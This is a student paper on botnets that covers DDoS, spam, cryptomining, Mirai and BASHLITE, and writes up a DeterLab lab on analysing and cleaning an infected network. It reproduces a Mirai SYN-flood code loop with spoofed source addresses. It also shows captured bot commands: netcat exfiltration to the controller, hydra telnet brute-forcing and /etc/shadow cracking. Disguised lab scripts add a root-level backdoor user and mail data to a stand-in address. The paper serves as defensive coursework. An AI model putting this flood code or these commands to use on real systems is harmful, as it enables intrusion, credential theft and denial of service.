Botnets and Network Analysis

Deterlab Exercise and General Information

Kasey Maberry
New Mexico Institute of Mining and Technology
kmaberry@cs.nmt.edu

ABSTRACT

This paper will cover Botnets, starting with a general overview of a botnet, notable cases of a botnet, what the controller and bots both do, and then the last sections of this paper will go over the "Botnets and Network Analysis" Deterlab lab created by Scott Kornblue of UCLA. For the lab, various techniques will have to used such as analyzing the network to detect botnet packets to detect and diagnose if a botnet is present. The lab will also cover techniques to prevent botnet attacks, and how to reactively reply to an attack.

Keywords

Botnets; Network Security

1. INTRODUCTION

A botnet is essentially a cloud of computers infected with malware which turns them into a bot, and each of the infected computers all respond to a controller which a malicious user will control. These bots can be used for a variety of different malicious activities, such as Distributed Denial-of-Service attack, spamming, spread the malware which created the bot, host illicit websites and services, and mining cryptocurrencies. In the following pages of this report, the various malicious activities will be covered to explain what they are and give a notable example or two of each case. Following that, the various pieces of a botnet will be described in regards to their functionality, and finally the paper will go into a Deterlab exercise that will teach the author analysis, detection, and removal of a botnet.

2. MALICIOUS INTENT

Botnets are created for malicious reasons, there are a couple of projects that could be defined as a "voluntary botnet" such as Folding@Home, however the focus of this paper is not on voluntary botnets since those are not a problem and voluntary and used for good. Such as Folding@Home, it is used to help biologists understand protein folding. If it's not a voluntary botnet, then the intent is for malicious reasons. In this section, the various different malicious activities that can be conducted are covered.

2.1 Distributed Denial-of-Service Attack

A Denial-of-Service(DoS) [5] attack is an attack where a victim is flooded with traffic and requests to max the out the network hardware and bring down the network and is only conducted by one attacking machine. It consists of two parties, an attacking party which has authorized the attack or is the one running a DoS program on their machine, and a victim computer who is the one receiving the attack. A Distributed Denial-of-Service (DDoS) attack is when there are multiple attacking machines all targeting one victim, which increases the bandwidth and requests that are sent to the victim exponentially due to how victims try to prevent attacks. In a traditional DoS attack with only one attacker, protocols such as SYN cookies are capable of stopping an attack, since the server doesn't devote any resources unless the client does. SYN cookies thwart these kinds of attacks, since the server doesn't save any information until it is verified that the person trying to connect is a valid person. These attacks work by maxing out all of the connections, something a attacker can do expending very few resources if SYN cookies are turned off. However, supposed that the attacker has a higher bandwidth than the victim and they are capable of just using up all of the victims bandwidth, this is known as a volumetric attack. This isn't very practical for an attacker to do to a server, but they can overload other people's home connections. It's important to note that using DoS software to attack a friend is illegal. If the attackers Internet Service Provider (ISP) catches on, then charges may be filed.

Contrary to DoS attacks, DDoS attacks overcomes the two downfalls of a traditional DoS attack. If we take a look at popular dedicated server host OVH, it's possible to get dedicated server with 3Gbps bandwidth. Now let's say an attacker has a botnet of 3,000 bots. If each bot has a bandwidth of 1Mbps, it's possible to take down the server.

ACM ISBN 978-1-4503-2138-9.
DOI: 10.1145/1235

Cloud servers can help alleviate this since there's multiple dedicated servers all connected, but botnets can be in such massive scale that they still overrun the volume of the server. Some attacks are in such massive scale that instead of attacking a specific server they attack the ISP of the server host, which completely decimates everything hosted by them and is much harder to mitigate. Botnets also alleviate the problem of the person getting caught, while there are still packets that could point to who issued the attack, there's not a massive influx of bandwidth usage from the one who issued the attack (Just the influx of bandwidth wouldn't be enough to prove the user performing a DoS attack, but it would be investigated. Part of the deterlab is analyzing packets.). There is four common categories of attacks, TCP Connection Attacks which occupy all of the connections, Volumetric Attacks which use up all of the bandwidth, Fragmentation Attacks which send a bunch of fragmented packets to make the server overwhelmed while trying to combine them, and Application attacks which overrun a specific application. There are also amplification attacks such as DNS reflection and Chargen Reflection.

2.1.1 Renting a Botnet

For Distributed Denial-of-Service attacks, the person authorizing the attack is not always the person who controls the botnet. While they could be issuing the attacks, one can perform an internet search for "internet stress testers" or also known as "booters" and find websites that just ask for an IP address and payment details to perform a DDoS on a target of their choice. People can use these "booters" to knock off smaller websites and players in online games offline to hold websites hostage or to gain unfair advantages in games. It's possible to rent a botnet long enough to knock a person offline for a week for only $150[5].

This goes into another topic on why botnets are created, in the case of a renting them out to perform DDoS attacks or the cases later in this paper such as hosting malicious websites, email spamming, or mining cryptocurrencies, the creation of a botnet is done for monetary reasons. The owner gets funds from all of these different kinds of malicious activities, and without them it is very unlikely botnets would even be created.

2.1.2 Prevention

There is ways to prevent a simple DoS attack suck as SYN cookies, but as far as a server preventing a DDoS attack there is not much they can do. Mitigation is essentially the only thing a user can do to prevent a DDoS attack. If a user is being targeted by DDoS attacks frequently, all they can do is ask their ISP for a new IP address and not reveal their actual IP address to the attackers.

(More research will go into this topic at a later date)

2.1.3 Mitigation

Manual mitigation is no longer recommended, and easily accessible services exist to mitigate these attacks such as Cloudflare (It is worth noting that the host mentioned above, OVH, comes with free DDoS prevention). Various mitigation techniques include filtering out the malicious packets and discarding them, or just straight discarding all packets from a certain region that is known to have attackers.[2] Cloudflare uses an Anycast network, where the load on the servers during an attack is spread throughout multiple servers, which help prevents servers being taken down. For the Dyn attack below, the engineers used Traffic shaping, network rebalancing by using Anycast, and internal filtering and scrubbing. The traffic shaping works by placing the packets in a queue and delayed, once the queue is filled up any extra packets are discarded. Network rebalancing spreads the attack over multiple data centers so the one they are attacking isn't hit as hard and the network stays up. After several hours, the three techniques allowed Dyn to completely mititage the attack and any others. It is also important to note that some mitigating techniques can affect a normal user. If someone from Canada were to try and connect to Amazon when an attack is occuring from Canada it is completely possible that the legitimate user will have their traffic discarded. Most likely this problem would only occur with novice traffic mitigation, or if a certain geographic area is known for only attacking.

Cloudflare also uses other mitigation techniques, but more research will need to be done on this before the final version of this paper. Later more topics on mitigation will be covered, since you can't exactly tell Cloudflare to use Cloudflare to mitigate DDoS, there should be many more tricks and protocols to mitigate attacks.

2.1.4 Notable Attacks

On October 21, 2016 there was on attack on Dyn[14][8][4], who host many of the DNS servers, which caused much of the internet to go down. The DNS is the Achilles heel of the internet, since if it goes down then domain names will no longer work, meaning we wouldn't be able to access any of the websites we want to unless we had the IP. The attack took down Twitter, the Guardian, Netflix, Reddit, CNN, and many other websites. The botnet which caused this attack is known as the Mirai botnet, and was much extremely large with reports stating the attack was 1.2Tbps. Cloudflare, which was previously mentioned as a way to mitigate the attack, states their highest recorded attack they succesfully mitigated was 400Gbps, much lower than what this attack was. What's noteworthy about this attack was that the majority of the Mirai botnet is comprised of compromised IoT devices, since the security is weaker on them. This seems to be a large concern, since it is estimated that the amount of IoT devices are going to double every 5 years. I would also anticipate that IoT devices would be harder to detect whether or not they are infected since there might not be an open interface to be able to see all of the processes running on the device, making it easier for the botnet to

hide. For all a user knows, their doorbell could be used in an attack against the government.

The attack on Dyn flooded port 53 with both UDP and TCP packets, and it also took advantage of an amplication technique known as DNS Reflection. By using DNS Reflection, the attack was 10-20x worse than what it would have been normally, and normally DNS Relfection attacks can increase the attack strength 50 times what it would be without it.

2.2 Spamming

Spamming is also something a botnet is capable of doing, as it will make the spam messages appear as legitimate traffic and make it extremely hard to trace to the person responsible since it is legitimate users computers to perform illegitimate actions[7]. These spam messages are most likely used for monetary gain or to gain access of peoples accounts sending phishing messages, which are messages that seem like they come from a legitimate company, say PayPal informing you that you need to change your password but you must enter your old password, so they gain access to your account. Another example of spamming would be sending the bot to other computers to try and infect them. The spamming can be used everywhere, each bot can pretend can be a real user and there wouldn't really be any discernible details between the bots and a real user.

2.3 Spreading the malware

It is necessary for a botnet to spread to as many people as possible, the power of a botnet is contingent on the ability to have such a massive amount of available bandwidth that they can take down websites.[3] A botnet can be spread either by the actual bots themselves self replicating and infecting others that the infected person is associated with through email or other means, or another way they are spread is by the owner searching the internet for devices that aren't secure. These devices have some type of open vulnerability, and are infected. For this method, they don't need to be self replicating, but as the plan is to infect as many people as possible they can use it. Internet of Things devices are a problem in regards to the method of infection using port scanning, since these devices are inherently insecure. It is probably to be expected that botnets will continue to grow and grow, the owner will be making a lot of money and if done properly could never be found. Most likely, the people using them, known as "script kiddies", are the ones most likely to get caught purchasing a feature of a botnet.

2.4 Illicit Websites and services

For hosting illicit websites, the botnet would most likely use something known as peer-to-peer webhosting (which is what CDN use, which Cloudflare is). The traditional model for hosting websites is a client-server model, where all of the clients connect to one server, if the server gets taken down then the website is gone until it is brought back up. Now if you take everything the darknet holds, Silkroad[13] is a notable example which was best known for selling drugs but seized by the FBI, and instead of it being hosted in one place the server is being hosted on thousands of peoples personal computers with no knowledge of it.

(The deterlab PDF has this topic as a possibility for botnets but I couldn't really find anything on it.)

2.5 Mining Cryptocurrencies

This is a relatively new phenomenon that a botnet does, and in more general terms is the botnet coming together to solve computationally intensive problems. Basically, mining a bitcoin involves generating cryptographic hashes to compare to a difficulty target, and if it meets the target then they are accepted and the miner gets bitcoins in return, which takes a long time and is computationally intensive. The more that is mined, the higher the difficulty goes up. So, botnet owners decided they basically have a cloud of zombie computers available to do their bidding and started to mine bitcoins on them.

In the previous subsections, the malicious activity would have negligible amounts of extra harm done to the computer. The user may notice slow internet, but maybe not depending on how advanced the bot is. With bitcoin mining and computationally intensive problems, the computers hardware is running as hard as it possibly can, generating a lot of heat and reducing the lifetime of a machine. A notable case of a bitcoin miner being placed in software is in the ESEA client, which is a client used for finding matches in an online game known as Counter-Strike in 2013. A disgruntled employee (The employee stated the owner joked/told him about it, both no longer work there) installed a bitcoin miner onto the client to mine for bitcoins using players computers. This is a relatively new thing that botnets are starting to add, but in the future it may be on more and more devices, decimating performance and cutting the life expectancy of the device short. ESEA is a paid subscription and has around 20,000 people that used it at the time. A side note is that it is for a game so the subscribers probably had a much higher than average GPU performance than what would be expected in the real world, but they released they were able to mine $280 in 48 hours. While that could be argued as not very much, an actual botnet will be much larger in scale and could mine much more money and destroying hardware. ESEA was fined $ 1 million, and also offered to pay for any damaged hardware(If the user could prove the bitcoin miner caused it from what I can recall - a source on this later).

The voluntary botnets also fall into this category, bitcoins themselves could be classified as one, along with Folding@Home and others. They all solve problems and report them back, running the computer at a high level of usage during the computations. The difference between a malicious installation and a volunteer one is the volunteers install the programs knowing full well that it could shorten

the life span of their device, and they can also control the usage. A malicious botnet gives no options, the user never knows it's installed and they would probably not approve of someone else using their machine to get money.

3. BOTNET TOPOLOGY

There are two parts to a botnet; the controller and the actual bot. The botnet works by all of the bots waiting and listening to for the controller to make a move, such as flood IP address 8.8.8.8. The controller will inform the bot of what to do and when to do it. This section will cover both the controller and bot more indepth.

3.1 Controller

The botnet controller is what all of the bots listen to mindlessly until a command is issued, and then they follow it. Most of the botnets use either IRC (internet relay chat) or HTTP protocols, and I came across an interesting stackexchange where a person found a suspected botnet controller had installed itself on a machine that one of their webhosting clients used. He stated that nearly 12,000 bots had tried to connect to it using POST and the index file on the server had some extra lines of PHP. While this isn't a very unique case from the research on botnets, it is an interesting thing to see someone ask for help about the issue. So, from the stack exchange link, it seems that even the controller infects multiple people. This makes sense as the controller is the only piece that could possibly link the owner to the botnet, and they would want to hide every trace that makes them connected to it. This is also an example of the illicit website hosting. If the host wasn't paying attention to their server (They set it up and forget about it), then the botnet controller installed onto it since it would most likely be using outdated and insecure applications, the controller would have a free host that would go unnoticed for a long time.

While searching about this topic, a paper[1] on how a botnet was built including source code was found. From quickly looking over the source code for this controller, it seems controller lists all of the IP's for the bots, along with the active connections and a scan of the subnet they are connected to. It also stores their directive, which is what is changed on this page. It simply works by changing the directive on the page and the the bots will connect, see the changed directive, and update. The bots collect various information about the infected machine, just as hostname, operating system name, version, uptime, etc. All of this is reported to the controller and then placed in a database. This bot seems more advanced than the one the user found in the stack exchange link, but they seem to have a similar basic function. The controller needs to authenticate that it's an actual bot by using POST, and then give it the directive. In this case of the example source code, many things are taken into consideration but this was a server the researcher owned and operated, one could argue they wanted to have much more control over their botnet than the person hiding on the tail end of the index of a random website.

3.2 Bot

To start, a review of the sample code will be done. It seems the bot simply sends information about itself in startup and init conditions, and then in the command mode the bot spams, then checks the server to retrieve the directive and continues to follow it until it changes. This seems to be a very simple bot for research purposes however, as all it can do is spam or scan. A real bot would have many more conditions, to flood and others. So from this example the bot does as expected, gather information and then await a command and then does it. Information gathering is needed since that is how the bot identifies itself and attack implementations depend on setup.

Another key feature of advanced bots is they attempt to prevent detection for as long as possible. If a users computer is running hot, or the internet is slow, they will know that something is off. The bots will try to detect if the computer or network is being used, and if so they turn off directive following. There's hundreds of other bots in the network, some going offline because the user is on their machine won't hurt it. Or, they could reduce how much resources they are requesting when activity has been seen. In general, a smart bot will try to self preserve itself for as long as possible.

3.3 Example botnets

There are many more botnets than the ones listed below, these are just two of the largest and most recent botnets that attacked noticeable targets. Both of these botnets attacked very major websites and impacted millions of users, losing companies millions of dollars.

3.3.1 Mirai botnet

This botnet was mentioned above, but a slightly more detailed explanation will be given here. Mirai[11][6] is a botnet that infected IoT devices by scanning for them and then using the default usernames and passwords, then loading themselves on the IoT device. It was possible to completely remove Mirai by just rebooting the system, but if it log in details were not immediately changed it would be reinfected in a few minutes. The creator or Mirai called this type of infection as a "real-time-load" infection. Hundreds of thousands of IoT devices used the default username and password, however according to the author his ability to infect people was going down. The author released the source code which can be found on the internet. Since the bot became open source, IoT makers have been working on improving security, but people are also starting to use the Mirai code for other goods. The Mirai botnet was responsible for attacking the Krebs on Security website, OVH, Dyn, and the liberian internet infrastructure. Attacks ranged from 620Gbps to 1.2Tbps, a record for highest bandwidth in an attack. The IoT devices still worked like normal, it was just slightly slower at times and bandwidth

usage went up. The Mirai botnet would not attack United States Postal Service, Department of Defense, General Electric, and Hewlett-Packard. Krebs on security made a claim to know who wrote the botnet, and they worked for a DDoS mitigation company. They were investigated and questioned by the US but nothing came from it.

Looking through the source code of the Mirai botnet is very interesting, for example it is possible to look at the possible passwords that the botnet would guess and the very last entry has the user name "mother" with the password "****er". In total, there is 61 different username and password combinations that the botnet might use, with the majority of them being a form of root/password and admin/password. Also worth noting is that the Mirai botnet randomly generated an IPv4 address, which brings up the question if this type of scanning would be possible to do on IPv6. There's roughly 2^32 IPv4 addresses compared to the amount of IPv6 addresses with 2^128 possible address combinations. The botnet uses C, GO, and MySQL for it's operations. The bot also used Telnet to scan, and the author mentioned that ISPs are starting to restrict this, and he lost nearly 80,0000 devices in a couple of months from ISPs restricting usage.

Looking at the source code for the controller, it seems that the botnet was capable of the following attacks: UDP flood, Valve source engine specific flood (This is presumably for attacking a video game netowrk when it uses a specific game engine), DNS resolver flood, SYN flood, Ack flood, TCP stomp flood, GRE IP flood, GRE ethernet flood, basic UDP flood, and HTTP flood. The controller could set how many bots are set to attack, how long they are going to attack, and what type of attack they are going to do. The controller also kept track of the bots that are currently attacking and who is not attacking anything and is free to attack. It seems to record the bots address for further instruction. While research brought up that the bots usually connect to the controller in some manner it seems that with the Mirai botnet, the bots wait for a connection request coming in from the controller and then process the instructions from it. The bots also hid their process ID by randomly picking a name, and killed any processes which were from a different botnet. The bot also killed itself incase a new version infected the machine. To get a clear idea of how the botnet worked, the following snippet below is for TCP SYN floods.

```
while (TRUE)
{
    for (i = 0; i < targs_len; i++)
    {
        char *pkt = pkts[i];
        struct iphdr *iph = (struct iphdr *)pkt;
        struct tcphdr *tcph = (struct tcphdr *)
              (iph + 1);

        // For prefix attacks
        if (targs[i].netmask < 32)
            iph->daddr = htonl(ntohl(targs[i].addr)
            + (((uint32_t)rand_next()) >>
              targs[i].netmask));

        if (source_ip == 0xffffffff)
            iph->saddr = rand_next();
        if (ip_ident == 0xffff)
            iph->id = rand_next() & 0xffff;
        if (sport == 0xffff)
            tcph->source = rand_next() & 0xffff;
        if (dport == 0xffff)
            tcph->dest = rand_next() & 0xffff;
        if (seq == 0xffff)
            tcph->seq = rand_next();
        if (ack == 0xffff)
            tcph->ack_seq = rand_next();
        if (urg_fl)
            tcph->urg_ptr = rand_next() & 0xffff;

        iph->check = 0;
        iph->check = checksum_generic((uint16_t *)iph,
                      sizeof (struct iphdr));

        tcph->check = 0;
        tcph->check = checksum_tcpudp(...);

        targs[i].sock_addr.sin_port = tcph->dest;
        sendto(...);
    }
#ifdef DEBUG
        break;
        if (errno != 0)
            printf("errno = %d\n", errno);
#endif
    }
```

This selection was chosen as in the course we discussed how SYN cookise would prevent a SYN flood attack, and it could be interesting to the readers to view actual source code from the botnet. Above this, the header is set up such as the length, the destination, size, etc. As SYN Flood attacks were mention in class, it is worth pointing this portion out. With a SYN Flood attack it was entirely possible to stop it by using SYN cookies. It could have been possible for the bots to appear as legitimate traffic, however as we can see from the snippet above they do not make any attempt to do so. To use SYN cookies, it is required for the client to create a cryptographical portion that goes into the packet, where the code above does not have anything like that. Also worth noting is that the client has to respond to an ACK for the server to store any data about the client, which from the snippet above it is not saved at all and no connections are accepted. It would be impossible to do so because the ports and source IP can be randomized. The author thought

it could be possible for the bots to make legitimate traffic if there was enough of them, but that would also require a really large amount of bots to take down a server of any significant size.

Back to the botnet source code, the last thing to note is that the botnet used both Telnet and TFTP. To prevent infection, the best way to do so would be to not use one of the 61 login/password combinations, or any general logins/passwords. It would have also been possible to prevent infection by removing Telnet access (Which is considered insecure) and only allowing SSH access. Also, the source code of this botnet is extremely well written, possibly better than most of the open source code that I have looked at.

The author of the Mirai botnet supposedly took his down and after making money, and people started to become more aware of the weakness of IoT devices and started to improve their security. However, at the same time he released the source code and instructions on how to run it. The source code is clear and easy to read, and has a ton of debugging statements. The source code also most likely exceeds 10,000 lines, it is a massive project and this botnet is only used for attacking by DDoS. Studying the source code could engineers make sure their device can't be exploited, and to also know what these hackers are looking for.

3.3.2 BASHLITE

BASHLITE[9] is another botnet that took advantage of IoT devices, with 96 percent of infected devices being an IoT device. 95 percent of those are cameras and DVR's. The BASHLITE originated by an exploit in the bash shell known as Shellshock[12] which allowed it to infect devices and other vulnerable ones in the network. The botnet was supposed to have been ran by Lizard Squad[10], who launched DDoS attacks against League of Legends, Destiny, Playstation Network, Xbox Live, Machinima, and North Korea. BASHLITE propogated by brute forcing, using common and default usernames/passwords for gaining access to the devices.

4. DETERLAB RESULTS

The deterlab done was seperated into three different parts, the first was to analyze traffic on the network. The second part was to analyze the traffic, and then the third part was to stop the botnet on the network in the least destructive way possible.

In this lab there was six nodes on the network, a botnet controller, two bots, a student computer, and a server all connected by a router. The only nodes that I initially had access to were the router and student node, however after some progress was made it was possible to access both of the bots and the extra credit stated it was possible to access the bot controller, but I was unable to. The most I was able to do was ftp into the bot controller, but I was unable to copy any files from the controller to a machine I had control of. It could have been possible for me to try and telnet in. The tools available for this lab were Ettercap, tcpdump, Wireshark, IPTraf, Top, Iftop, and nmon. The introduction of this lab said that a small business was experiencing some strange traffic reported by their internet service provider, and I was called to try and investiage this network traffic. The traffic only occurs during some parts of the day.

4.1 Capture

To begin, I sshed into the router and student machines as they were the ones I had access to. I ran the following command (ifconfig was used first to get which interfaces to use) on both machines to see what traffic they picked up:

```
sudo tcpdump -i eth4 -s 1500 -X
```

Both machines ended up displaying the same types of packets, so I went ahead and collected the five minutes of traffic on the router, as it seemed more likely that the router would be picking up more traffic since everything is being routed through it. To collect the traffic, I used the command

```
sudo tcpdump -i eth4 -s0 -w output.pcap
```

Then, I set a timer for five minutes and waited for traffic to be collected. At the end, I collected over 300,000 packets. Next, I had to analyze the traffic.

4.2 Analyze

There was a ton of packets to analyze, so I moved the .pcap file to my local machine and opened it up with wireshark to look at the packets and see what I could find. At first glance, I noticed there was a ton of packets being sent and at first thought that a syn flood attack was taking place between the bots and the router and it still appears that it is a syn flood, I couldn't find any evidence on either the bots or the pcap file initiating such attack, unless I was misunderstanding what a command did. After further research, there is bottraffic1.sh script but I could not locate it. After location this script does legitimate traffic so is not the cause of the flood of SYN. Other than that, I found a command where the bots were scanning the 10.1.1.0/24 range to see everyone on the local network. After that, I scrolled past the thousands of packets of SYN and RST/ACK and found the following commands being issued from the botnet controller to the bot:

```
bot2.kmaberry-botnet.nmt-cse489.isi.deterlab.net login:
botcontroller
Password:
attack
screen
sudo nmap -T5 10.1.1.0/24 > /tmp/bot1_network_report3
sudo expect /tmp/spamlist.sh > /tmp/mailspam.log
cd /tmp && wget -c
ftp://spamlist:drowssap@controller/spamlist.sh > /tmp/mail.log
(ftp connected and other information not really
necessary, it just copied a file from controller
 with username spamlist password drowssap)
spamlist.sh: permission denied (I had this problem too,
```

```
 but spamlist exists on the bots)
cd /usr
sudo nc -w 3 controller 9000 < /tmp/bot2_network
sudo hydra -l root -P /tmp/passwords.list server telnet
 > /tmp/hydralog2
```

Then the log repeats. From the commands the bots issued, it seemed that it first takes a report of the network to see the machines on it. Then, it uses a spamlist to send some spam mail, tries to get an updated spamlog (I think it failing on ftp might cause me to be unable to do the extra credit), and then it would use nc to send the network report to the controller. Lastly, it would use hydra to try and brute force the password to the root user of the server. Also, there is enough information in just this to ssh onto the bots and see what they have going on. Upon doing so, I found out how they were able to allow themselves a way onto the machines. In the downloads folder I found three files named definitely_legit_game.exe, facebook_quiz.jpg.sh, and freemusic.mp3.exe. The files contained the following scripts:

```
definitely_legit_game.exe
useradd -ou 0 -g 0 botcontroller
passwd botcontroller attack
su botcontroller
attack
sudo apt-get install hydra > hydralog
ifconfig > tempoutput
cat tempoutput && hydralog | mail criminal@fakemail.com

facebook_quiz.jpg.sh
#!/bin/bash

while :; do sudo john /etc/shadow > /tmp/john_report;
sleep 10; done

freemusic.mp3.exe
useradd -ou 0 -g 0 botcontroller
passwd botcontroller attack
ifconfig > tempoutput
cat tempoutput | mail criminal@fakemail.com
```

Using top, it also seems there is a second password cracker named john-mmx, which the facebook_quiz.jpg.sh is running. So in total, these machines have two password crackers running, a mail spammer, and a syn flooder (This isn't the mail or anything, I can't figure out what was causing it.).

4.3 Respond

There is a gaping security vulnerability with the open user botcontroller, so we have to get rid of that. However, that will be the last thing we will do as first we need to clean up some of the mess that it started. To begin, we have to ssh into the botcontroller with the commands:

```
ssh botcontroller@bot1
attack
```

Then, by using top we can see that john-mmx is at 100% CPU usage, something that the company will not be very happy about. There's two ways to fix this, but first we will start by clearing out the three scripts in the downloads folder with the command:

```
cd /downloads/
rm *
```

, which were definitely_legit_game.exe, facebook_quiz.jpg.sh, and freemusic.mp3.exe. Now, the users won't be able to start the botnet again. Next, we can clear up the /tmp/ folder as everything thing is just being used by the botnet so we can do

```
cd ../tmp/
sudo rm -rf *
```

While that didn't really do anything just yet as the controller added the majority of it again, it removed the hydra install files and it also removed the spamlist which can't be retrieved again as the controller has issues with their permissions. Next, we have to kill the facebook_quiz.jpg.sh or else it will start john-mmx again (rebooting the machine would presumably do the same thing as the script is now missing), so the commands would be along the line of

```
top
sudo kill -9 9535
```

Then, from the same PID list we can kill John-mmx and also remove it, which I am assuming is safe to do since not very many people have a use for password cracking software.

```
top
sudo kill -9 21881
sudo apt-get remove john
```

The last thing to do is remove how the botnet actually connects to the machine, which would be

```
sudo userdel -f botcontroller
```

There will be an error saying the user is already logged in, but if we repeat the command it will say that the user no longer exists. All that is left to do now is to log into the bot2, and repeat. For locking down this system, I would recommend restricting who can make user accounts, possibly restricting people from downloading shell scripts (From the looks of it an unadvanced user did this, as they tried to open an .exe on a linux machine and opened a .jpg.sh file). Another course of action could be to use something such as SNORT to prevent the SYN flood, or SYN cookies could be used, and SNORT could also probably be configured to prevent the brute forcing.

5. PREVENTION

For preventing a botnet, the best course of action is to make sure any IoT device that a person has is properly

locked down and not open for vulnerabilities. Both of the two most infamous botnets took advantage of IoT that failed to change their default settings. However, makers of these devices are started to become more and more aware of these vulnerabilities and started to take action, reducing the number of infected machines. Besides the automatic infection of IoT devices, there is also the possibility of a user running a program that installs the bot on their machine. People need to be reinforced on the idea to not download anything unwarranted, be careful of what they do download and run, and have proper safeguards in place for when they do download something such as anti-virus software or something of the sort. Whenever viruses are mentioned, people only believe that Windows users are targeted. However, it seems this is not the case as IoT devices run Linux. There should just be more public awareness of it's possible your internet connected doll can be infected with a virus and be used to attack networks. Before researching the author was not aware of just how vulnerable these devices are

6. CONCLUSION

In conclusion, from looking at just two of the most recent botnets it seems that IoT devices are heavily being exploited, and it could be easily prevented if users did not use default or common username/password combinations. However, it is understandable that a user will take out a new device and think "Who would want to hack into my doorbell? Or camera? I'll forget anything I put in there".

From the deterlab, I learned how to analyze a network and machines for a possible infection. While this was a relatively simple botnet, it shared some characteristics of a real botnet, and was extremely interesting. This exercise also opened my eyes to how security of networks should be looked at, when I set up the internet and routers at my parents house I used the default username and password. My theory was that they live in the middle of nowhere, the only people using that will use the internet and log into the routers will be me, but after this lab I realized to what extent people can take advantage of networks. I changed the settings of my parents network as soon as I had a change, and also applied a couple of the topics learned here on it, but nothing of interest was found.

7. REFERENCES

[1] F. Begin. Byob: Build your own botnet. https://www.sans.org/reading-room/whitepapers/threats/byob-build-botnet-33729, jul 2011.

[2] Cisco. Defeating ddos attacks white paper. http://www.cisco.com/c/en/us/products/collateral/security/traffic-anomaly-detector-xt-5600a/prod_white_paper0900aecd8011e927.html, jan 2014.

[3] S. COBB. Botnet malware: What it is and how to fight it. https://www.welivesecurity.com/2014/10/22/botnet-malware-fight/, oct 2014.

[4] L. Columbus. Roundup of internet of things forecasts and market estimates, 2016. https://www.forbes.com/sites/louiscolumbus/2016/11/27/roundup-of-internet-of-things-forecasts-and-market-estimates-2016/#484eae9d292d, nov 2016.

[5] DigitalAttackMap. What is a ddos attack? http://www.digitalattackmap.com/understanding-ddos/, 2013.

[6] J. Gamblin. Leaked mirai source code for research/ioc development purposes. https://github.com/jgamblin/Mirai-Source-Code/, oct 2016.

[7] MailChannels. How botnets send spam (in laymans terms). https://www.mailchannels.com/outbound-spam-filtering/how-botnets-send-spam-in-laymans-terms/, 2017.

[8] M. Savage. Attackers exploit weak iot security. http://www.networkcomputing.com/applications/attackers-exploit-weak-iot-security/1139771366, oct 2016.

[9] Wikipedia. Bashlite. https://en.wikipedia.org/wiki/BASHLITE, apr 2017.

[10] Wikipedia. Lizard squad. https://en.wikipedia.org/wiki/Lizard_Squad, apr 2017.

[11] Wikipedia. Mirai (malware). https://en.wikipedia.org/wiki/Mirai_(malware), apr 2017.

[12] Wikipedia. Shellshock (software bug). https://en.wikipedia.org/wiki/Shellshock_(software_bug), apr 2017.

[13] Wikipedia. Silk road (marketplace). https://en.wikipedia.org/wiki/Silk_Road_(marketplace), apr 2017.

[14] N. Woolf. Ddos attack that disrupted internet was largest of its kind in history, experts say. https://www.theguardian.com/technology/2016/oct/26/ddos-attack-dyn-mirai-botnet, oct 2016.